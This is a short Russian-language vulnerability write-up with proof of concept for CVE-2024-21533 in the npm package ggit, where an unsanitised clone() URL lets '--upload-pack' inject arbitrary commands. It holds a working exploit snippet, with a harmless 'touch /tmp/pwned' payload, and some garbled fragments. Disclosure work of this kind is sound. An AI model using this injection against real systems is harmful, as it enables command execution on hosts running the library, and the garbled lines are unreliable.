
CVE-2024-21533 PoC ggit
ggit описывает себя как:
Local promise-returning git command wrappers
Ресурсы:
Статья об этой уязвимости внедрения аргументов: https://nodejs-security.com/blog/flawed-git-promises-library-on-npm-leads-to-command-injection-vulnerability
Я сообщаю об уязвимости внедрения аргументов в npm-пакете ggit.
Эта уязвимость проявляется в API clone() библиотеки, который позволяет указать удаленный URL для клонирования и файл на диске для клонирования. Однако библиотека не очищает пользовательский ввод и не проверяет схему URL, а также должным образом не передает флаги командной строки бинарному файлу git с использованием символов POSIX двойного тире (--) для обозначения конца параметров.
Таким образом, это позволяет пользователям эксплуатировать уязвимость внедрения аргументов в Git из-за параметра командной строки --upload-pack, что приводит к выполнению произвольных команд. (outPath) для клонирования, тогда уязвимость применима.
[email protected] или более раннюю версиюconst clone = require("ggit").cloneRepo;
clone({
url: "--upload-pack=$(touch /tmp/pwned)",
folder: "/tmp/dbd",
}).then(function () {
console.log("cloned repo to destination folder");
});
/tmp/pwnedПожалуйста, ознакомьтесь с CONTRIBUTING для получения рекомендаций по участию в этом проекте.
Liran Tal